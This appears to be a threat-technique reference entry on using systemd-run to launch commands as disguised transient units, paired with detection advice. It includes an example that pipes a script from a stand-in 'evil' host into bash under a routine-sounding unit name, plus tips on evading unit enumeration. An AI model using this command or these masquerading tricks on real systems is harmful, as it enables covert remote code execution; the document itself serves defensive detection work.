systemd-run Execution
Using the standard systemd-run utility to spin up a transient service or scope unit from a single command line, blending arbitrary execution into normal systemd-managed process trees.
systemd-run ships on every systemd-based Linux distribution and exists to
launch a command as a managed, transient systemd unit without writing a
permanent unit file first. It is genuinely useful for ad hoc jobs with
resource limits or scheduling, which is exactly why it also works as a
living-off-the-land execution primitive: the command runs under a systemd
service or scope with a name the caller controls, inherits systemd's own
cgroup and journald plumbing, and never needs an attacker-supplied binary to
touch disk if the command itself is a fetch-and-run one-liner.
How it works
A single command creates and immediately starts a transient unit:
systemd-run --unit=sys-update --description="System Update Check" \
/bin/bash -c 'curl -fsSL hxxp://evil/x.sh | bash'--unit and --description let the operator name the resulting unit and its
journal-visible description however they like — sys-update,
network-helper, anything that reads as routine system maintenance in a
casual systemctl list-units glance. --scope instead attaches the command
to the caller's own cgroup as a transient scope rather than a full service,
which skips creating a separate unit file entirely and is harder to spot with
tooling that only enumerates .service units.
Detection & analysis
Static analysis: In a script or binary, look for the literal string
systemd-run being built or shelled out to, especially combined with
--unit=/--scope flags and a bash -c/sh -c payload argument — this
combination has little legitimate reason to appear inside a dropped sample.
Dynamic analysis: journalctl -u '*' or systemctl list-units --all
reveals transient units by name; a unit with a generic-sounding description
that appeared outside a deployment window, or one whose ExecStart resolves
to a shell one-liner rather than a real package's binary path, is the
runtime tell. Command-line logging (auditd execve records, or Sysmon-style
tooling where deployed) captures the full systemd-run invocation including
the payload it launches.
Detection rule hint: Alert on systemd-run invocations whose command
argument contains curl/wget piped to a shell, base64 decoding, or a path
under /tmp, /dev/shm, or /var/tmp. Baseline the set of transient unit
names your fleet normally creates (CI runners, cron-adjacent tooling) and flag
new unit names outside that baseline, particularly ones created interactively
outside a change-management window.